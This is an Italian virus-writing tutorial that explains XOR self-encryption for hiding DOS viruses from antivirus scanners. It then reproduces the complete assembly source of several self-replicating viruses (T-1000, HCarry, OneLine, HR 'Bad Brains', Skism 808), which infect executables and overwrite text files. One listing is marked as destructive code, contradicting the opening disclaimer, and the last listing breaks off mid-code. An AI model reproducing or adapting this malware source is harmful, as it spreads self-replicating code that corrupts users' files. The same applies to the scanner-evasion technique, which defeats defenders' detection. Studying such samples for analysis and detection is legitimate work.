Minima Anonyma Tabularia Ex Reti
nihil vacuum neque sine signo apud MATER
Questa pubblicazione contiene informazioni
e codice sorgente relativi alla sicurezza informatica. Lo
scopo di queste informazioni è di aiutare gli utenti ad accrescere la propria
capacità di programmazione. Questo materiale è a puro scopo didattico e non
include codice distruttivo né documenti attinenti ad alcuna attività illegale.
Si declina ogni responsabilità nel caso chiunque utilizzi le suddette
informazioni per creare, compilare e diffondere intenzionalmente programmi
diretti a danneggiare o interrompere un sistema informatico o telematico,
ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo
funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta
Ufficiale n. 305 del 30.12.1993)
§ MATER Liber Sextus §
indice
2.come viene crittografato il codice ?
3. la routine di crittografazione
La crittografia è uno dei metodi per nascondere le
tracce della presenza di un virus.
Le tecniche di crittografia non sono affatto recenti,
ma continuano ad essere utilizzate e si sono evolute attraverso il polimorfismo
(che sarà oggetto di un prossimo studio).
La struttura di di un virus crittografato (encrypted)
assomiglia a qualcosa del tipo:
-----------------------------------------------
A] salto alla routine di
decrittazione
-----------------------------------------------
B] corpo del file infetto (HOST)
-----------------------------------------------
C] routine di decrittazione (non
crittografata)
-----------------------------------------------
D] corpo del virus (crittografato)
E] routine di
crittografazione
-----------------------------------------------
Quando il file Host viene caricato in memoria per
essere eseguito, il controllo viene preso dalle istruzioni del virus [A] che
effettuano un salto alla routine di decrittazione [C]. La routine di
decrittazione decritta il corpo del virus rendendo il codice effettivamente
eseguibile.
Quindi il controllo passa al codice costituente corpo
del virus decrittato [D] che esegue il suo compito. Fra i compiti del codice
virale c’è ovviamente quello, una volta eseguita un’infezione, di crittografare
il corpo del virus “appeso” al nuovo ospite. In questo modo ogni copia del
virus presente su disco risulterà crittografata.
Lo scopo della crittografia, come si è detto, è quello
di nascondere del codice eseguibile. Questo può essere effettuato mediante una
semplice operazione logica applicata ad ogni bytes del codice virale. Questa
operazione è un XOR che può essere utilizzato per crittografare e decrittografare
i bytes del virus.
Vediamo un attimo come lavora l’XOR. La tabella di
verità per XOR è:
XOR 0
1
0
0 1
1
1 0
Consideriamo l’istruzione:
MOV ax, 1234h
la sua
codifica in esadecimale sarà: B83412, mentre la sua codifica in binario sarà:
10111000 00110100 00010010
Il PC vedrà l’istruzione di cui sopra proprio in
questo modo.
Ora, se noi eseguiamo un XOR sui bytes costituenti
l’istruzione, con un valore arbitrario, poniamo 9Bh (decimale = 155, binario
10011011) byte per byte, avremo:
10111000
00110100 00010010 bytes da crittografare
XOR
10011011 10011011 10011011
valore arbitrario (chiave)
----------------------------
00100011
10101111 10001001 bytes crittografati
Ora, i bytes crittografati in esadecimale risultano
uguali a 23h AFh 89h, che non significano nulla. Tuttavia se noi eseguiamo un
successivo XOR ai bytes crittografati con il medesimo valore 9Bh, otteniamo:
00100011
10101111 10001001 bytes crittografati
XOR
10011011 10011011 10011011
valore arbitrario (chiave)
----------------------------
10111000
00110100 00010010 bytes decrittografati
Che sono esattamente i bytes dell’istruzione
originaria.
Questo è il meccanismo che sta alla base della
crittografia. Ora interessiamoci di quel valore, a cui noi abbiamo assegnato
9Bh, e che abbiamo definito arbitrario. In realtà questo valore è la chiave che
noi utilizziamo per crittografare il codice. Come tale, una volta usata per
crittografare il codice, deve essere conservata da qualche parte per poter
essere poi riutilizzata nella fase di decrittografazione. Come vedremo negli
esempi, questo è quanto fanno i virus.
Tuttavia, c’è un problema costituito dall’identità di
questa chiave. Se un virus utilizzasse sempre lo stesso valore per
crittografare le copie virali che poi verranno inserite nei vari ospiti, il
codice virale di queste copie, sebbene crittografato, conterrebbe dei bytes di
valore costante che potrebbero essere facilmente localizzati da una generica
scansione AV.
Un metodo utilizzato dai vwriters è quello di
assegnare alla chiave un valore casuale, ricavato dalla chiamata interrupt
dell’ora del sistema:
mov AH, 2Ch
int 21h
mov
chiave, DL
Dalla documentazione DOS ricaviamo che la chiamata 2Ch
dell’INT21h richiede il “time” del sistema. La funzione 2Ch ritorna in CH le
ore, in CL i minuti, in DH i secondi e in DL i centesimi di secondo. In questo
caso come chiave viene scelto un valore di un byte corrispondente ai centesimi.
Molti virus crittografati utilizzano la stessa routine
per crittografare e decrittografare il codice. Cio’ è possibilie utilizzando
l’operazione XOR, la più comunemente usata. Esistono altre operazioni
utilizzate dai vwriters: NOT e NEG; in genere è più usata la prima.
Altre coppie di istruzione per la crittografazione e
decrittografazione sono: INC/DEC, ADD/SUB, ROL/ROR, MUL/DIV, ADC/SBB…
Per modificare il proprio codice il virus
crittografato necessita di una routine di crittografazione/decrittografazione.
Vediamo più da vicino questa routine. Un esempio di una simile routine potrebbe
essere il seguente:
crittazione:
mov cx,bytes_da_crittare
; fine_encrypt-inizio_encrypt
mov di,[bp+critta_da_qui]
; From where
mov si,di
; per lodsb/stosb
mov ah,chiave ; AH = chiave
ciclo_crittazione:
lodsb ; Muove una byte da DS:SI a AL
xor al,ah
; critta il byte
stosb ; Muove un byte da AL a ES:DI
loop ciclo_crittazione
ret
La routine è molto semplice. Inizialmente viene
inserito il numero di bytes da crittare (calcolati con una semplice sottrazione
tra due label opportunamente posizionate nel codice virale) in cx. Quindi viene
inserito in DI l’indirizzo da cui deve partire l’operazione di modifica dei
bytes. Dopo aver memorizzato la chiave (ricavata come sopra) in AH, si entra
nel ciclo di crittazione vero e proprio: questo consiste nel prendere un byte
alla volta dall’indirizzo puntato da DI, crittografarlo e salvarlo nello stesso
punto. Alla fine del ciclo tutto il codice da critta_da_qui a fine_encrypt
risulterà crittografato.
Questa procedura è molto semplice: esistono solo 255
possibilità di mutazione del codice essendo la chiave di soli 8 bit.
Con una chiave a 16 bit la routine di crittazione è:
crittazione:
mov cx,(bytes dacrittare+1)/2 ; fine_encrypt-inizio_encrypt/2
mov di,[bp+critta_da_qui]
; da qui
mov si,di
mov dx,key
ciclo_crittazione:
lodsw ; Muove una word da DS:SI a AX
xor ax,dx
; crittografa la word
stosw ; Muove una word da AX a ES:DI
loop
ciclo_crittazione
ret
Con
molte più possibilità di variazione.
Ci
sono alcune considerazione da fare riguardo alla prima generazione dei virus
crittografati.
Nella prima generazione il virus non è crittato. E’
chiaro che per il suo funzionamento l virus non crittografata. Utilizzando XOR,
per la prima generazione viene di solito usato il valore 00 come chiave. La
prima volta che il virus si attiva modificherà tale valore con il valore della
chiave prescelto.
Come
viene salvata una seconda copia del virus per la prima generazione ? Dopo la
label che indica l’ultimo byte che il virus copierà nell’host, si trova spesso
un’istruzione simile:
virus_end label byte ; label della fine del codice
virus
enc_buffer db
(offset virus_end-offset
virus_start) dup (090h)
La
variabile enc_buffer ha il solo scopo di salvare il codice del virus per la prima generazione. Dopo la prima
generazione, questa variabile non sarà copiata con esso.
Quelli che seguono sono esempi di virus che utilizzano
la tecnica descritta. Sono dei vecchi virus sotto DOS molto semplici, ma
senz’altro utili per un approccio alla crittografazione.
Le istruzioni relative alla tecnica di
crittografazione, le sole commentate, sono evidenziate con colore
diverso.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
funzionamento:
a) decritta il codice virus con chiave memorizzata
in variabile Crypt;
b) critta il virus, crea una chiave per la nuova
infezione, e salva tutto nel l’host-RAM (usato come buffer)
c) cerca un file ospite
d) scrive nell’ospite il decryptor (parte non
crittata) e il codice virus crittato
; T-1000
Virus
;
; This virus is a Non-Resident Overwriting
Self-Encrypting .COM File Inctector.
; When an infected program is started, the virus will
infect all files in the
; current directory and use the time counter for its
encryption. It displays
; the text "T-1000" when it is ready infecting.
Code Segment
para 'code'
Assume
Cs:Code,Ds:Code
Length Equ
Offset EndByte-Offset Main
Org 100h
; decryptor: routine di decrittazione del codice virale.
; questa porzione del codice, fino alla label Decrypt, non
; è crittata
Main: Mov Si,Offset
Decrypt
Mov Di,Si
Mov Cl,Offset EndByte-Offset Decrypt
On2: Lodsb ; [DI] -> AL
Db 34h ; 34 imm 8 -> XOR AL, imm8,
cioè XOR AL, chiave
Crypt Db 0 ; variabile per salvataggio
chiave (Crypt)
Stosb ; AL -> [DI]++
Dec Cl
Cmp Cl,0ffh
Jne On2
; fine parte non crittata -------------------------------
Decrypt:
Mov
Ah,4eh
Push Ax ; vedi istruzione POP AX più sotto
; ricava il valore della chiave
Encr:
Mov Ah,2ch ; legge l’ora del sistema
Int 21h
Mov Crypt,Dl ; in DL centesimi di secondo
Mov Si,Offset Decrypt ; inizio parte da crittare
Mov Di,Offset EndByte+10 ; in host-RAM
Mov Cx,Offset EndByte-Offset Decrypt ; numero di bytes da
crittare
; ciclo di crittazione
On3: Lodsb
Xor Al,Crypt ; operazione di crittazione con
chiave
Stosb
Dec Cx ; decrementa il contatore
Cmp
Cx,0ffffh ; siamo alla fine
?
Jne On3
Pop Ax
On1: Xor
Cx,Cx
Mov
Dx,Offset Nam
Int
21h
Jc Einde
Mov
Ax,3d01h
Mov
Dx,9eh
Int 21h
Mov
Bx,Ax
; scrive nell’host-disco la parte non crittata (decryptor)
Mov Ah,40h ; funzione di scrittura
Push Ax
Mov Cx,Offset Decrypt-Offset Main
Mov Dx,Offset Main
Int 21h
; scrive nell’host-disco la parte crittata (e memorizzata in
buffer)
Pop Ax
Mov Cx,Offset EndByte-Offset Decrypt
Mov Dx,Offset EndByte+10
Int 21h
Mov
Ah,3eh
Int 21h
Mov
Ah,4fh
Push Ax
Jmp
Short Encr
Einde:
Mov Ah,9
Mov
Dx,Offset Msg
Push Cs
Pop Ds
Int
21h
Int 20h
Msg Db
'T-1000$'
Nam Db
'*.Com',0
EndByte Db 0
Code Ends
End
Main
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
funzionamento: simile al precedente.
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't
Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;This is the HCarry Virus
;dedicated to the late Harry Carry
;The only AV scanner that I know of that detects this
virus is TBAV Scanner
; parte non crittata
start: ;start
of virus!
lea si, crypt_start
; indirizzo di inizio codice da crittare
mov di,si
mov cx,end - crypt_start
; ricava n. bytes da crittare
call crypt
jmp crypt_start
xor_value db 0
; cript / decrypt un byte alla volta
crypt:
lodsb
; carica un byte
xor al,byte ptr [xor_value]
; lo critta(o decritta)
stosb
; salva il byte
loop crypt
ret
crypt_start: ; qui
inizia la parte crittata del codice virus
mov ah,9
;print string to screen
lea dx,textmask
int 21h
;go do it dos!
mov ax,0fa02
push ax
mov bl,0
mov dx,05945
push dx
int 016
push cx
mov ah,4eh
;find first file
lea dx,filemask
;put the kind of file we want to find first in dx
xor cx,cx
;clears the cx register to 0
find_next:
;label for the find next rountine
int 21h
; go do it!
jnc infect
;jump if a file is found, if not continue jnc=jump
jmp text
;if carry flag isn't set
infect:
;here is our infect rountine, where we go when we find a file to kill
mov ax,3d02h
; open file for read/write access (00=read
;01=write 02=read/write)
mov dx, 9eh
;get file info
int 21h
;now!~
mov bx,ax
;move info form bx register in ax
; ricava e salva la chiave
in al,40h
mov byte ptr [xor_value],al
; scrive la parte non crittata
mov ah,40h
lea dx,start
mov cx,crypt_start - start
int 21h
; cripta il codice virus
lea si,crypt_start
; indirizzo di inziio crittazione
lea di,end
; indirizzo di fine crittazione
mov cx,end - crypt_start
; in CX numero di bytes da crittare
call crypt
; crittografazione codice
; scrive la perte crittata
mov ah,40h ; 40h funzione di scrittura su file
mov cx,end - crypt_start ; in Cxnumero
bytes da scrivere
lea dx,end
; scrive da qui
int 21h ;
mov ah,3eh ;close the file up
int 21h ;now!
mov ah,4fh ;find next file!
jmp find_next ;continue!
text:
mov ah,4eh
lea dx,textfile
int 21h
jnc text_pload
jmp close
text_pload:
mov ax,3d02h
mov dx,9eh
int 21h
mov ah,40h
mov
cx,pload_end - pload_start
lea
dx,pload_start
int 21h
jmp text_findnext
text_findnext:
mov ah,4fh
int 21h
jnc text_pload
jmp close
pload_start:
db 'HOLY COW!',10,13,
db '---',10,13,
db 'Whats your favorite planet?...Mines the
SUN!',10,13,
db 'One time i studied it for a whole hour i almost
went BLIND!',10,13,
db '---',10,13,
db 'Hey!....Whats goin.....Hey!',10,13,
db '---',10,13,
db 'Now just for some silly crap!',10,13,
db 'FLOCK!',10,13,
db 'Hehehehe Look At YOU!',10,13,
db 'Back to the Computer Store for you!',10,13,
db 'This is HORRRIBLE!'
db 'Who would do something like this?',10,13,
db 'MY LEG DOESNT BEND THAT WAY!',10,13,
db 'MOCB',10,13,
db 'This Virus has infected this file if you havnt
found that out yet!',10,13,
db 'Please insert 25 cents!',10,13,
db 'DO DO DO Were Sorry your call did not go threw
please hang up and try again',10,13,
db 'JERRY JERRY JERRY JERRY JERRY JERRY',10,13,
db 'Jerry Springer to HOT for Television',10,13,
db 'DOH!',10,13,
pload_end:
close:
int 20h
;exit program
;this next portion is the
datasegment which the virus refers to for
;the variable we give it
;Thank you to Spo0ky,<-OPIC->,and Arsonic for helping me!
textfile db '*.txt',0 ;find
.txt files
filemask db '*.com',0 ;the
kinds of files we want
textmask db 'This file is now infected!',10,13,
db 'By The HCarry virus!',10,13,
db 'MoCBDUKE[Codebreaker, 1998]',10,13,'$'
end:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;
------------------------------------------------------------
; -- The OneLine Virus --
; --
By Arsonic[CodeBreakers] --
; --
HTTP://CODEBREAKERS.SIMPLENET.COM --
;
------------------------------------------------------------
; Virus Info: This Virus is a 600 byte Long Encrypted
Overwriting piece of
; shit. it will infect all *.com file in the current
directory and overwrite
; the first line of all text files found with Famous
Lines And Stuff..
; Detected By:
; TBAV: Says
This is a Unknown Virus.. But Only on the First Generation.. :)
; FPROT: ??? did'n have it on my computer at the time
of scanning..
; AVP: Nope..
Detected 3000 other virus's i got on my comp.. but not this one..
jmp crypt_start
; parte non criptata
start:
mov
di,si
mov cx,crypt_start
call crypt
jmp crypt_start
crypt:
xorloop:
lodsb
xor al,byte ptr[xor_value]
stosb
loop xorloop
ret
xor_value db 0
; parte criptata
crypt_start:
mov ah,4eh
lea dx,mask
int 21h
jnc infect
jmp text
infect:
mov ax,3d02h
mov dx,9eh
int 21h
mov bx,ax
; I suggest 'xchg bx,ax', because its only 1 byte, but
thats your decision
; ricava e salva chiave
in al,40h
mov byte ptr [xor_value],al
; cripta virus con il solito meccanismo
lea si,crypt_start
lea di,end
mov cx,end - crypt_start
call crypt
; scrive parte non criptata
mov ah,40h
mov cx,crypt_start - start
lea dx,start
int 21h
; scrive parte criptata
mov ah,40h
mov cx,end - crypt_start
lea dx,end
int 21h
mov ah,3eh
int 21h
jmp find_next
find_next:
mov ah,3fh
int 21h
jnc infect
jmp text
text:
mov ah,4eh
lea dx,textmask
int 21h
jnc text_payload
jmp close
text_payload:
mov ax,3d02h
mov dx,9eh
int 21h
mov ah,40h
mov cx,message_end - message_start
lea dx,message_start
int 21h
mov ah,3fh
int 21h
jmp text_findnext
text_findnext:
mov ah,4fh
int 21h
jnc text_payload
jmp close
message_start:
db
'LEGALIZE CANNABUS!'
db
'HO HO HO.. NOW I HAVE A MACHINE GUN!'
db 'This is another 60 minutes...'
db 'Burn Baby, BURN!'
db 'Keep The Opressor Opressing..'
db 'Have U Had Your Break TodaY?'
db 'Oh I Wish I Was A Ocsar Myer Wiener!'
db 'What Came First The Chicken Or the Egg?'
db 'Help Me.. Help You!'
db 'SHOW ME THE MONEY!!'
db 'Take it Off Baby!'
db 'ADRIAN!!!!'
db 'Where do You Want To Go Today?'
db 'We Are the Shitty VR! VRLAND SUX SHIT!'
db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
message_end:
close:
int 20h
mask db '*.com',0
textmask db '*.txt',0
author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
virus db 'THE OnELINE VIRUS',13,10,'$'
origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
end:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
funzionamento simile ai precedenti, con qualche
variazione strutturale, riguardo ad esempio al conteggiodei bytes da
crittografare.
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr
EQU 21
filetime
EQU 22
filedate
EQU 24
filename
EQU 30
virus_size EQU
554
; parte non criptata
code_start EQU 0100h
code
segment 'code'
assume
cs:code,ds:code,es:code
org
code_start
main proc near
jmp
virus_start
encrypt_val dw 0000h
virus_start:
call encrypt ; critta / decritta il codice
jmp
virus ; vai
all’inizio del codice
; routine di crittazione: misura in byte presi dalla fine,
quindi decrementa il contatore
encrypt:
push cx
mov cx,offset virus_code+virus_size ; CX = virus_code * 554
mov
si,offset virus_code
; inizio parte da crittare
mov di,si
cld
; ciclo di crittazione, effettuata 2 bytes alla volta
xor_loop:
lodsw
; carica una word
xor ax,encrypt_val ; critta con chiave precedentemente
salvata
stosw ; salva la word
eaggiorna puntatore a DI
dec cx ; decremente contatore
jcxz stoppa ; finito ?
jmp xor_loop
stoppa:
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
mov cx,virus_size ;number of bytes to write
call encrypt ;cripta il codice
mov ax,4000h ;write to file
int 21h
;
call encrypt ;dercitta per terminare esecuzione
ret
; parte da crittografare
virus_code:
vname
db 'SKISM',0
wildcards
db "*",0 ;search for directory argument
filespec
db "*.COM",0 ;search for EXE file argument
rootdir
db "\",0 ;argument for root directory
dirdata
db 43 dup (?) ;holds directory DTA
filedata
db 43 dup (?) ;holds files DTA
diskdtaseg
dw ? ;holds disk dta segment
diskdtaofs
dw ? ;holds disk dta offset
tempofs
dw ?
tempseg
dw ?
drivecode
db ? ;holds drive code
currentdir
db 64 dup (?) ;save current directory into this
handle
dw ? ;holds file handle
orig_time dw ?
orig_date
dw ?
orig_attr
dw ?
idbuffer
dw 2 dup (?)
virus:
mov ax,3000h ;get dos version
int 21h ;
cmp al,02h ;is it at least 2.00?
jb
bus ;won't
infect less than 3.00
; ricava la chiave a la salva in un’opportuna variabile
mov ah,2ch ; legge l’ora
int 21h ; in DL = centesimi; DH = secondi, CL = minuti
add dh,cl ; secondi = secondi + minuti
mov encrypt_val,dx ; con questa chiave sono possibili 65535 mutazioni
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah
;set dta address
int 21h ;
newdir:
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drivecode
inc dl
;add one to dl, because functions differ
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h ;
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
scandirs:
mov cx,13h ;look for directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h ;
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus:
jmp abort
copyright
db 'Bad Brains'
dirloop:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h
je quit ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to
fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h ;
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.EXE",0
mov ah,4eh ;find first file function
int 21h
;
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
mov
ah,1ah ;set
dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h ;
jmp dirloop
quit:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h ;
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr ;
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h ;
mov ax,3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read
from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h ;
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h ;
mov bx, idbuffer ;fill bx with id string
cmp bx,03ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h ;
mov handle,ax ;save
handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle ;
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h ;
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov
bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h ;
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h ;
Abort:
mov ax,4c00h ;end program
int 21h ;
main endp
code ends
end main
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget
to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79
H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
è praticamente
la fotocopia del precedente, con qualche piccola modifica nella routine di
decrittazione.
;tHE sKISM 808 vIRUS.
cREATED 1991 BY sMART kIDS iNTO sICK mETHODS.
FILENAME
equ 30 ;USED TO FIND FILE NAME
FILEATTR
equ 21 ;USED
TO FIND FILE ATTRIBUTES
FILEDATE
equ 24 ;USED TO FIND FILE DATE
FILETIME
equ 22 ;USED TO FIND FILE TIME
CODE_START equ
0100H ;START OF ALL
.com FILES
VIRUS_SIZE equ
808 ;tr 808
CODE
SEGMENT 'CODE'
ASSUME
CS:CODE,DS:CODE,ES:CODE
ORG CODE_START
MAIN PROC
NEAR
JMP
VIRUS_START
ENCRYPT_VAL
DB 00H
VIRUS_START:
CALL ENCRYPT ;ENCRYPT/DECRYPT FILE
JMP VIRUS ;GO TO START OF CODE
ENCRYPT:
PUSH CX
MOV BX,OFFSET VIRUS_CODE ; inizio crittazione
XOR_LOOP:
MOV CH,[BX] ; legge byte corrente
XOR CH,ENCRYPT_VAL ;
critta con chiave a byte
MOV [BX],CH ; salva byte criptato
INC BX ; va al byte successivo
CMP BX,OFFSET
VIRUS_CODE+VIRUS_SIZE
; abbiamo finito ?
JLE XOR_LOOP ; no ? continua
POP CX
RET
INFECTFILE:
MOV DX,CODE_START ;WHERE VIRUS STARTS IN MEMORY
MOV BX,HANDLE ;LOAD BX WITH HANDLE
PUSH BX ;SAVE HANDLE ON STACK
CALL ENCRYPT ;ENCRYPT FILE
POP BX ;GET BACK BX
MOV CX,VIRUS_SIZE ;NUMBER OF BYTES TO WRITE
MOV AH,40H ;WRITE
TO FILE
INT 21H ;
PUSH BX
CALL ENCRYPT ;FIX UP THE MESS
POP BX
RET
VIRUS_CODE:
WILDCARDS
DB "*",0 ;SEARCH FOR DIRECTORY ARGUMENT
FILESPEC DB
"*.exe",0
;SEARCH FOR exe FILE ARGUMENT
FILESPEC2
DB "*.*",0
ROOTDIR
DB "\",0 ;ARGUMENT FOR ROOT DIRECTORY
DIRDATA
DB 43 DUP (?) ;HOLDS DIRECTORY dta
FILEDATA
DB 43 DUP (?) ;HOLDS FILES dta
DISKDTASEG
DW ? ;HOLDS DISK DTA SEGMENT
DISKDTAOFS
DW ? ;HOLDS DISK DTA OFFSET
TEMPOFS
DW ? ;HOLDS OFFSET
TEMPSEG
DW ? ;HOLDS SEGMENT
DRIVECODE
DB ? ;HOLDS DRIVE CODE
CURRENTDIR
DB 64 DUP (?) ;SAVE CURRENT DIRECTORY INTO THIS
HANDLE
DW ? ;HOLDS FILE HANDLE
ORIG_TIME
DW ? ;HOLDS FILE TIME
ORIG_DATE
DW ? ;HOLDS FILE DATE
ORIG_ATTR
DW ? ;HOLDS FILE ATTR
IDBUFFER
DW 2 DUP (?)
;HOLDS VIRUS ID
VIRUS:
MOV AX,3000H ;GET DOS VERSION
INT 21H ;
CMP
AL,02H ;IS IT
AT LEAST 2.00?
JB BUS1 ;WON'T INFECT LESS THAN 2.00
MOV AH,2CH ;GET TIME
INT 21H ;
MOV ENCRYPT_VAL,DL ;SAVE M_SECONDS TO ENCRYPT VAL SO
;THERES 100 MUTATIONS
POSSIBLE
SETDTA:
MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
NEWDIR:
MOV AH,19H ;GET DRIVE CODE
INT 21H ;
MOV DL,AL ;SAVE DRIVECODE
INC DL ;ADD ONE TO DL, BECAUSE FUNCTIONS DIFFER
MOV AH,47H ;GET CURRENT DIRECTORY
MOV SI, OFFSET CURRENTDIR ;BUFFER TO SAVE DIRECTORY IN
INT 21H ;
MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY
MOV AH,3BH ;CHANGE DIRECTORY TO ROOT
INT 21H ;
SCANDIRS:
MOV CX,13H ;INCLUDE HIDDEN/RO DIRECTORYS
MOV DX, OFFSET WILDCARDS ;LOOK FOR '*'
MOV AH,4EH ;FIND FIRST FILE
INT 21H ;
CMP AX,12H ;NO FIRST FILE?
JNE DIRLOOP ;NO DIRS FOUND? BAIL OUT
BUS1:
JMP BUS
DIRLOOP:
MOV AH,4FH ;FIND NEXT FILE
INT 21H ;
CMP AX,12H
JE BUS ;NO MORE DIRS FOUND, ROLL OUT
CHDIR:
MOV DX,OFFSET DIRDATA+FILENAME;POINT DX TO
FCB - FILENAME
MOV AH,3BH
;CHANGE DIRECTORY
INT 21H ;
MOV AH,2FH ;GET CURRENT DTA ADDRESS
INT 21H ;
MOV [DISKDTASEG],ES ;SAVE OLD SEGMENT
MOV [DISKDTAOFS],BX ;SAVE OLD OFFSET
MOV DX,OFFSET FILEDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
SCANDIR:
MOV CX,07H ;FIND
ANY ATTRIBUTE
MOV DX,OFFSET FILESPEC ;POINT DX TO "*.com",0
MOV AH,4EH ;FIND FIRST FILE FUNCTION
INT 21H ;
CMP AX,12H ;WAS FILE FOUND?
JNE TRANSFORM
NEXTEXE:
MOV AH,4FH ;FIND NEXT FILE
INT 21H ;
CMP AX,12H ;NONE FOUND
JNE TRANSFORM ;FOUND SEE WHAT WE CAN DO
MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY
MOV AH,3BH ;CHANGE DIRECTORY TO ROOT
INT 21H ;
MOV AH,1AH ;SET DTA ADDRESS
MOV DS,[DISKDTASEG] ;RESTORE OLD SEGMENT
MOV DX,[DISKDTAOFS] ;RESTORE OLD OFFSET
INT 21H ;
JMP DIRLOOP
BUS:
JMP ROLLOUT
TRANSFORM:
MOV AH,2FH ;TEMPORALLY STORE DTA
INT 21H ;
MOV [TEMPSEG],ES ;SAVE OLD SEGMENT
MOV [TEMPOFS],BX ;SAVE OLD OFFSET
MOV DX, OFFSET FILEDATA + FILENAME
MOV BX,OFFSET FILEDATA ;SAVE FILE...
MOV AX,[BX]+FILEDATE ;DATE
MOV ORIG_DATE,AX ;
MOV AX,[BX]+FILETIME ;TIME
MOV ORIG_TIME,AX ; AND
MOV AX,[BX]+FILEATTR ;
MOV AX,4300H
INT 21H
MOV ORIG_ATTR,CX
MOV AX,4301H ;CHANGE ATTRIBUTES
XOR CX,CX ;CLEAR ATTRIBUTES
INT 21H ;
